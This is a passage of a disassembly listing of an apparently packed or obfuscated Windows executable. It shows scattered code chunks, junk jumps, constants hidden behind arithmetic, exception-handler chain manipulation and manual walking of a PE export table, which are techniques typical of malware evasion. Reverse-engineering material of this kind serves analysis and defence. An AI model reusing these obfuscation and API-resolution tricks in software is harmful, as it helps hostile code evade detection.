PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_423841: ; CODE XREF: _0182ofla:0042DB15j jmp loc_426E52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425E4D loc_423846: ; CODE XREF: sub_425E4D+5206j jmp nullsub_78 ; END OF FUNCTION CHUNK FOR sub_425E4D ; --------------------------------------------------------------------------- loc_42384B: ; CODE XREF: _0182ofla:0042347Fj jmp loc_42743A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FCD loc_423850: ; CODE XREF: sub_423FCD:loc_423FD8j and ecx, 82077820h jp loc_42DA12 jmp loc_4289EB ; END OF FUNCTION CHUNK FOR sub_423FCD ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423861 proc near ; DATA XREF: sub_428EAFo var_5 = byte ptr -5 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424471 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00424666 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426BA9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042734E SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00428F7C SIZE 0000002B BYTES ; FUNCTION CHUNK AT 00429164 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004291B0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429870 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042A06F SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042A2ED SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042B1DD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D816 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042E04A SIZE 0000000E BYTES push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_4], eax loc_42386A: ; CODE XREF: sub_423861+9FB8j jno loc_429164 mov eax, [ebp+var_4] movzx eax, byte ptr [eax] jmp loc_424471 sub_423861 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C677 loc_42387B: ; CODE XREF: sub_42C677:loc_42C68Fj mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h add ecx, 18h jmp loc_42C224 ; END OF FUNCTION CHUNK FOR sub_42C677 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428A39 loc_423896: ; CODE XREF: sub_428A39+4370j call sub_4281B9 loc_42389B: ; CODE XREF: _0182ofla:0042348Bj jno loc_42C2A4 or eax, esi ; END OF FUNCTION CHUNK FOR sub_428A39 ; =============== S U B R O U T I N E ======================================= sub_4238A3 proc near ; CODE XREF: _0182ofla:0042582Bp xchg eax, [esp+0] pop eax call sub_42D71D push offset sub_429EF7 jmp loc_428510 sub_4238A3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4267F8 loc_4238B6: ; CODE XREF: sub_4267F8-19FDj mov dl, [ebp-9] shr edx, cl or eax, edx mov edx, [ebp-8] mov [edx], al jmp loc_42EA0A ; END OF FUNCTION CHUNK FOR sub_4267F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9A4 loc_4238C7: ; CODE XREF: sub_42D9A4-676j test ebx, 0F6A0F502h jmp loc_42C668 ; END OF FUNCTION CHUNK FOR sub_42D9A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AB3E loc_4238D2: ; CODE XREF: _0182ofla:00424396j ; sub_42AB3E+6j pushf push 8114EB46h pop edi and edi, 0B6287B64h jnz loc_426504 loc_4238E5: ; CODE XREF: sub_42A00A+Fj jmp loc_429438 ; END OF FUNCTION CHUNK FOR sub_42AB3E ; --------------------------------------------------------------------------- mov ebx, [eax] xor ebx, ecx jmp loc_4249CE ; --------------------------------------------------------------------------- loc_4238F3: ; CODE XREF: _0182ofla:0042686Dj js loc_42DDE9 ; =============== S U B R O U T I N E ======================================= sub_4238F9 proc near ; CODE XREF: sub_42768C+7p ; FUNCTION CHUNK AT 00425836 SIZE 00000005 BYTES mov [esp+0], eax pop eax mov eax, [eax+20h] add eax, [ebp-4] push offset loc_427392 jmp loc_425836 sub_4238F9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424E6E loc_42390D: ; CODE XREF: sub_424E6E:loc_428F3Cj adc ebx, 0B7855AB1h adc ecx, 8B5DB4D5h shl esi, 4 jmp loc_427F98 ; END OF FUNCTION CHUNK FOR sub_424E6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428A39 loc_423921: ; CODE XREF: sub_428A39:loc_426D88j jnz loc_423D59 mov eax, [ebp-14h] mov eax, [eax+24h] add eax, [ebp-4] xor edx, edx jmp loc_42950D ; END OF FUNCTION CHUNK FOR sub_428A39 ; --------------------------------------------------------------------------- loc_423937: ; CODE XREF: _0182ofla:00428E69j jb loc_4244FE ; =============== S U B R O U T I N E ======================================= sub_42393D proc near ; CODE XREF: sub_4276BF-9ACp mov [esp+0], ecx pop ecx push 0C781E25Eh mov eax, offset sub_4276BF xchg eax, [esp+0] retn sub_42393D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425DDF loc_42394F: ; CODE XREF: sub_425DDF+9j add eax, [ebp-4] add eax, 18h ; END OF FUNCTION CHUNK FOR sub_425DDF ; START OF FUNCTION CHUNK FOR sub_424289 loc_423955: ; CODE XREF: sub_424289+649Bj push offset sub_425EEB jmp nullsub_65 ; END OF FUNCTION CHUNK FOR sub_424289 ; =============== S U B R O U T I N E ======================================= sub_42395F proc near ; DATA XREF: sub_4231F3:loc_42E46Eo arg_0 = dword ptr 4 xchg ebx, [esp+0] mov edi, ebx pop ebx xor edi, 0C5EFB82Eh add edi, 59ADA411h xchg edi, [esp-4+arg_0] jmp sub_428D17 sub_42395F endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_145. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425DA5 loc_42397A: ; CODE XREF: sub_425DA5:loc_425DBBj jz loc_428285 push ebx push 58C9255Ah pop ebx jmp loc_429356 ; END OF FUNCTION CHUNK FOR sub_425DA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A915 loc_42398C: ; CODE XREF: sub_42A915:loc_42CC24j push edi push offset loc_42C61C jmp loc_423FDD ; END OF FUNCTION CHUNK FOR sub_42A915 ; --------------------------------------------------------------------------- loc_423997: ; CODE XREF: _0182ofla:loc_427504j jmp loc_426216 ; --------------------------------------------------------------------------- jmp loc_42A54D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42380D loc_4239A1: ; CODE XREF: sub_42380D:loc_428CACj push edx push 0FA9A0718h pop edx push offset sub_423461 jmp loc_426450 ; END OF FUNCTION CHUNK FOR sub_42380D ; --------------------------------------------------------------------------- jz loc_428CDB jmp sub_429AE0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426571 loc_4239BD: ; CODE XREF: sub_426571:loc_42460Dj push 207FB102h pop edx xor edx, 0E80ACEF7h and edx, 93D700F6h add edx, 7FED30C0h mov [edx], eax jmp loc_427164 ; END OF FUNCTION CHUNK FOR sub_426571 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_160. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C1B2 loc_4239DD: ; CODE XREF: sub_42C1B2+10D2j jmp nullsub_137 ; END OF FUNCTION CHUNK FOR sub_42C1B2 ; --------------------------------------------------------------------------- loc_4239E2: ; CODE XREF: _0182ofla:0042831Aj jmp loc_42D99B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42660C loc_4239E7: ; CODE XREF: sub_42660C-396j and eax, 0E7743996h sbb esi, eax loc_4239EF: ; DATA XREF: sub_426649+39A6o pop dword ptr fs:0 xchg eax, [esp+14h+var_14] pop eax jmp loc_4231BD ; END OF FUNCTION CHUNK FOR sub_42660C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425DA5 loc_4239FE: ; CODE XREF: sub_425DA5+57D6j test ebx, 133B4013h jmp loc_423A59 ; END OF FUNCTION CHUNK FOR sub_425DA5 ; --------------------------------------------------------------------------- loc_423A09: ; DATA XREF: sub_428E4B+Co mov byte ptr [eax], 0C3h push ecx push 21C5266Ch pop ecx push offset loc_425429 jmp locret_42B721 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424707 loc_423A1D: ; CODE XREF: sub_424707+2DD1j mov ebx, ecx pop ecx pop eax mov edx, offset sub_423A2A xchg edx, [esp-8+arg_4] retn ; END OF FUNCTION CHUNK FOR sub_424707 ; =============== S U B R O U T I N E ======================================= sub_423A2A proc near ; DATA XREF: sub_424707-CE6o ; FUNCTION CHUNK AT 00423045 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042323F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423423 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00423515 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004235A6 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00423E3C SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042427E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004243E6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004246C3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004247C6 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00424B04 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00424C84 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00424C90 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00424FA8 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042574D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425926 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00425A13 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426037 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042670D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426758 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 004269B2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426F8C SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00427128 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00427B1E SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042800B SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042806F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004283D7 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00428403 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00428501 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00428975 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00428E7C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042965F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A39C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A563 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042AC39 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042B418 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042B429 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042B495 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042B67E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042B7BB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C1BE SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042CB26 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042CCBD SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042DB84 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042E07F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E2E9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E48E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042E557 SIZE 0000000B BYTES pop ebp jmp loc_4283D7 sub_423A2A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4240FC loc_423A30: ; CODE XREF: sub_4240FC:loc_42ECA8j add esp, 8 mov eax, [eax] add eax, [ebp-4] call sub_4289E4 jmp loc_42D1F8 ; END OF FUNCTION CHUNK FOR sub_4240FC ; =============== S U B R O U T I N E ======================================= sub_423A42 proc near ; CODE XREF: sub_42B097+1A22j ; FUNCTION CHUNK AT 004251E5 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042C123 SIZE 00000005 BYTES add esp, 0FFFFFFE4h mov [ebp-8], edx mov [ebp-4], eax xor eax, eax jmp loc_4251E5 sub_423A42 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_423A52: ; CODE XREF: sub_42D056:loc_4236BBj cdq push edi jmp loc_42A7AE ; END OF FUNCTION CHUNK FOR sub_42D056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425DA5 loc_423A59: ; CODE XREF: sub_425DA5-23A1j js locret_425F80 mov [edi], esi ; END OF FUNCTION CHUNK FOR sub_425DA5 ; =============== S U B R O U T I N E ======================================= sub_423A61 proc near ; CODE XREF: _0182ofla:0042B525p xchg eax, [esp+0] pop eax push eax jmp loc_4253D6 sub_423A61 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A760 loc_423A6B: ; CODE XREF: sub_42A760:loc_429792j adc esi, 0CEA72A9h xor ecx, 746CFF6Dh adc ecx, eax jmp loc_42A8BD ; END OF FUNCTION CHUNK FOR sub_42A760 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4289E4 loc_423A7E: ; CODE XREF: sub_4289E4:loc_429FB9j pop eax xor eax, 0A8B326CBh add eax, 0BF438E4Bh add eax, ebp add eax, 9F6B0EAEh mov eax, [eax] jmp loc_42D2A4 ; END OF FUNCTION CHUNK FOR sub_4289E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42349B loc_423A9A: ; CODE XREF: sub_42349B:loc_426EC2j xchg eax, [esp-4+arg_0] push 10h call sub_42DB2E loc_423AA4: ; CODE XREF: sub_428D63+3F23j jmp loc_424D52 ; END OF FUNCTION CHUNK FOR sub_42349B ; --------------------------------------------------------------------------- rol edx, 8 jmp sub_42A915 ; =============== S U B R O U T I N E ======================================= sub_423AB1 proc near ; CODE XREF: _0182ofla:00425F97j ; sub_4231F3+339Dp ; FUNCTION CHUNK AT 00428E98 SIZE 00000007 BYTES xchg esi, [esp+0] pop esi call sub_424065 jnz loc_428E98 jmp loc_42B6DB sub_423AB1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231F3 loc_423AC5: ; CODE XREF: sub_4231F3:loc_42D510j mov ecx, [ebx+3Ch] mov ecx, [ebx+ecx+78h] or ecx, ecx jz loc_428E98 jmp loc_42692A ; END OF FUNCTION CHUNK FOR sub_4231F3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_23. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B669 loc_423ADA: ; CODE XREF: sub_42B669+10j jmp loc_42E0E1 ; END OF FUNCTION CHUNK FOR sub_42B669 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F0F loc_423ADF: ; CODE XREF: sub_428F0F+1DBBj jmp loc_424E57 ; END OF FUNCTION CHUNK FOR sub_428F0F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F20 loc_423AE4: ; CODE XREF: sub_428F20-3094j sbb edi, ebp pop edi cmp ecx, 3796DE76h jmp loc_425A76 ; END OF FUNCTION CHUNK FOR sub_428F20 ; =============== S U B R O U T I N E ======================================= sub_423AF2 proc near ; CODE XREF: _0182ofla:0042A951j ; sub_42E178+1p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004265F8 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004281A8 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00428456 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00429831 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AE9D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042B791 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042DF25 SIZE 00000017 BYTES mov [esp+0], ecx pop ecx mov [esp-4+arg_0], eax pushf mov [esp+0], ebx push 7E7D400Fh pop ebx jmp loc_4281A8 sub_423AF2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_423B08 proc near ; CODE XREF: sub_42D71D:loc_4285F4j add esp, 0FFFFFED8h mov [ebp-8], edx mov [ebp-4], eax call sub_4256AD sub_423B08 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_4254D3 loc_423B19: ; CODE XREF: sub_4254D3+503Ej jmp loc_425DD5 ; END OF FUNCTION CHUNK FOR sub_4254D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_423B1E: ; CODE XREF: sub_428D63:loc_42525Fj mov esi, ebp push 0D040266Ch rol ecx, 0Ch ja loc_425D30 jmp loc_42620C ; END OF FUNCTION CHUNK FOR sub_428D63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F20 loc_423B33: ; CODE XREF: sub_428F20:loc_42A4B0j jz loc_428C28 jmp loc_424599 ; END OF FUNCTION CHUNK FOR sub_428F20 ; --------------------------------------------------------------------------- loc_423B3E: ; CODE XREF: _0182ofla:0042B691j push 0E346ECBDh ; =============== S U B R O U T I N E ======================================= sub_423B43 proc near ; CODE XREF: _0182ofla:0042DFB1p ; FUNCTION CHUNK AT 00425BB2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00429DC4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042B228 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CFF1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D2FE SIZE 0000000B BYTES mov [esp+0], edi pop edi cmp dword ptr [ebp-4], 100h jmp loc_42D2FE sub_423B43 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_423B53 proc near ; CODE XREF: sub_429BB9p ; _0182ofla:0042D6B6j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00427687 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A781 SIZE 0000001A BYTES mov [esp+0], edx pop edx jz sub_425B6E pushf mov [esp+0], ebp jmp loc_427687 sub_423B53 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E35C loc_423B66: ; CODE XREF: sub_42E35C:loc_42DF97j xchg esi, [esp+4+var_4] jmp sub_42CA29 ; END OF FUNCTION CHUNK FOR sub_42E35C ; --------------------------------------------------------------------------- test eax, eax jz loc_42CC44 jmp loc_42E568 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427DA9 loc_423B7B: ; CODE XREF: sub_427DA9:loc_4298B7j ; _0182ofla:loc_42B1F3j jnz loc_42A32E jmp loc_42B5BA ; END OF FUNCTION CHUNK FOR sub_427DA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F20 loc_423B86: ; CODE XREF: sub_428F20:loc_424599j mov [edx], ebx jmp loc_428C1C ; END OF FUNCTION CHUNK FOR sub_428F20 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_135. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B69 loc_423B8E: ; CODE XREF: sub_429B69:loc_42D3C4j jz sub_4272F4 jmp sub_42493A ; END OF FUNCTION CHUNK FOR sub_429B69 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429E52 loc_423B99: ; CODE XREF: sub_429E52+10j jnz loc_425520 jmp loc_424169 ; END OF FUNCTION CHUNK FOR sub_429E52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427DFA loc_423BA4: ; CODE XREF: sub_427DFA+Fj add edx, ebp add edx, 229CA9EEh mov edx, [edx] mov byte ptr [eax+edx], 0 inc dword ptr [ebp-4] loc_423BB5: ; CODE XREF: _0182ofla:loc_4292B8j cmp dword ptr [ebp-4], 100h jmp loc_426621 ; END OF FUNCTION CHUNK FOR sub_427DFA ; --------------------------------------------------------------------------- jl loc_425E39 jmp loc_425DDD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253DC loc_423BCC: ; CODE XREF: sub_4253DC+48BDj and esi, edi xchg ebp, [edx] jmp loc_429480 ; END OF FUNCTION CHUNK FOR sub_4253DC ; =============== S U B R O U T I N E ======================================= sub_423BD5 proc near ; DATA XREF: sub_4292E1-4802o push 95867047h pop eax rol eax, 1 call sub_42839E jmp loc_425E97 sub_423BD5 endp ; =============== S U B R O U T I N E ======================================= sub_423BE7 proc near ; CODE XREF: _0182ofla:00426CE5j ; sub_429FC8:loc_4284BCp arg_0 = dword ptr 4 mov [esp+0], ecx pop ecx add edx, 84D52FFCh xchg edx, [esp-4+arg_0] jmp sub_424CD8 sub_423BE7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EAB7 loc_423BF9: ; CODE XREF: sub_42EAB7:loc_42C759j add ebx, esi xchg ebx, ecx and ecx, ebx jmp loc_428C9D ; END OF FUNCTION CHUNK FOR sub_42EAB7 ; --------------------------------------------------------------------------- loc_423C04: ; DATA XREF: sub_426240+7983o jz loc_4262D2 ; START OF FUNCTION CHUNK FOR sub_426571 loc_423C0A: ; CODE XREF: sub_426571+13B8j ; sub_426571+21FBj jz loc_427098 mov eax, [ebp-4] call sub_426E44 mov [ebp-8], eax jmp loc_4287D2 ; END OF FUNCTION CHUNK FOR sub_426571 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427E42 loc_423C20: ; CODE XREF: sub_427E42+18D5j rol edi, 2 loc_423C23: ; CODE XREF: sub_427E42:loc_42970Ej and eax, 86BC8C2Ah loc_423C29: ; CODE XREF: _0182ofla:loc_4268C5j add eax, 0BFBC390h loc_423C2F: ; CODE XREF: _0182ofla:loc_427054j add eax, ebp jmp loc_425A32 ; END OF FUNCTION CHUNK FOR sub_427E42 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425C89 loc_423C36: ; CODE XREF: sub_425C89+29FEj jge loc_42E414 or ebx, ecx adc edx, edi loc_423C40: ; CODE XREF: sub_425C89:loc_42A1CEj call sub_428D17 jmp loc_42850B ; END OF FUNCTION CHUNK FOR sub_425C89 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42433C loc_423C4A: ; CODE XREF: sub_42433C+Dj rol edx, 5 xor edx, ecx rol edx, 5 add edx, eax rol edx, 5 xor edx, esi rol edx, 5 jmp loc_42CDDD ; END OF FUNCTION CHUNK FOR sub_42433C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_423C61: ; CODE XREF: sub_42798F+1Dj and esi, ebp pushf push edi loc_423C65: ; DATA XREF: sub_42798F+60C7o pop dword ptr fs:0 jmp loc_424E46 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- loc_423C70: ; DATA XREF: sub_423395+7D76o add eax, 1790C39Bh mov dword ptr [eax], 646E6957h lea eax, [ebp-18h] mov dword ptr [eax], 6C43776Fh lea eax, [ebp-14h] mov dword ptr [eax], 737361h push 0 lea eax, [ebp-20h] jmp loc_427D82 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_193. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D03E loc_423C99: ; CODE XREF: sub_42D03E+3j jmp loc_428BED ; END OF FUNCTION CHUNK FOR sub_42D03E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253DC loc_423C9E: ; CODE XREF: sub_4253DC:loc_42E9D1j pop ebp mov eax, ds:dword_425794 or eax, eax jnz loc_42D2DA jmp loc_42A03C ; END OF FUNCTION CHUNK FOR sub_4253DC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_238. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427906 loc_423CB3: ; CODE XREF: sub_427906+69D7j jmp loc_42DD1A ; END OF FUNCTION CHUNK FOR sub_427906 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428041 loc_423CB8: ; CODE XREF: sub_428041-336Ej jmp loc_425953 ; END OF FUNCTION CHUNK FOR sub_428041 ; --------------------------------------------------------------------------- xchg ebx, ebp jmp sub_4276E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428A39 loc_423CC4: ; CODE XREF: sub_428A39:loc_428A44j add [esi], ecx xor [esi], edx push 6ECDBDF0h pop eax xor eax, ds:4000F5h cmp eax, 56D231A0h jmp loc_425269 ; END OF FUNCTION CHUNK FOR sub_428A39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425C55 loc_423CDF: ; CODE XREF: sub_425C55+14j jz loc_42857E jmp loc_423604 ; END OF FUNCTION CHUNK FOR sub_425C55 ; =============== S U B R O U T I N E ======================================= sub_423CEA proc near ; DATA XREF: sub_4232CD+7o mov [ebp-8], eax loc_423CED: ; CODE XREF: sub_428EF6+8j ; sub_42A1D9+4j ... call sub_429408 mov [ebp-0Ah], al sub_423CEA endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_4267F8 loc_423CF5: ; CODE XREF: sub_4267F8:loc_42D114j jb loc_42E084 mov eax, [ebp-4] cmp byte ptr [eax], 0 jmp loc_426F58 ; END OF FUNCTION CHUNK FOR sub_4267F8 ; --------------------------------------------------------------------------- push 6E2E2202h jmp loc_42E6B9 ; --------------------------------------------------------------------------- test al, al jz nullsub_89 jmp loc_42AD9D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_182. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E18E loc_423D1E: ; CODE XREF: sub_42E18E+18j jmp loc_426B49 ; END OF FUNCTION CHUNK FOR sub_42E18E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C415 loc_423D23: ; CODE XREF: sub_42C415+13j jmp loc_425116 ; END OF FUNCTION CHUNK FOR sub_42C415 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F46 loc_423D28: ; CODE XREF: sub_428F46-3E4Dj jmp loc_42A219 ; END OF FUNCTION CHUNK FOR sub_428F46 ; =============== S U B R O U T I N E ======================================= sub_423D2D proc near ; CODE XREF: sub_42CD44-7BF6p ; _0182ofla:004294F9j ; FUNCTION CHUNK AT 004261F2 SIZE 0000001A BYTES xchg ecx, [esp+0] pop ecx xor edi, 0CD3B3BD0h cmp eax, edi jmp loc_4261F2 sub_423D2D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423114 loc_423D3E: ; CODE XREF: sub_423114+Dj jnz loc_42DDB2 jmp loc_4265E0 ; END OF FUNCTION CHUNK FOR sub_423114 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F50 loc_423D49: ; CODE XREF: sub_423F50:loc_425921j inc dword ptr [ebp-1Ch] jmp loc_42D581 ; END OF FUNCTION CHUNK FOR sub_423F50 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425AB1 loc_423D51: ; CODE XREF: sub_425AB1j inc dword ptr [ebp-1Ch] jmp loc_42AF5C ; END OF FUNCTION CHUNK FOR sub_425AB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428A39 loc_423D59: ; CODE XREF: sub_428A39:loc_423921j ; _0182ofla:loc_42D25Ej inc dword ptr [ebp-18h] dec dword ptr [ebp-24h] jnz loc_427D55 jmp loc_425EE4 ; END OF FUNCTION CHUNK FOR sub_428A39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B15E loc_423D6A: ; CODE XREF: sub_42B15E:loc_423544j dec dword ptr [ebp-18h] jnz loc_425C11 jmp loc_42D884 ; END OF FUNCTION CHUNK FOR sub_42B15E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427967 loc_423D78: ; CODE XREF: sub_427967+7j call sub_427EAF ; END OF FUNCTION CHUNK FOR sub_427967 ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_423D7D: ; CODE XREF: sub_4253F4+81C0j jmp loc_4295A5 ; END OF FUNCTION CHUNK FOR sub_4253F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A260 loc_423D82: ; CODE XREF: sub_42A260+Ej jmp loc_426D0C ; END OF FUNCTION CHUNK FOR sub_42A260 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425499 loc_423D87: ; CODE XREF: sub_425499+54Aj push eax push offset loc_42E038 jmp nullsub_160 ; END OF FUNCTION CHUNK FOR sub_425499 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42461C loc_423D92: ; CODE XREF: _0182ofla:loc_427C97j ; sub_42461C+36EFj push 947D0E15h jmp 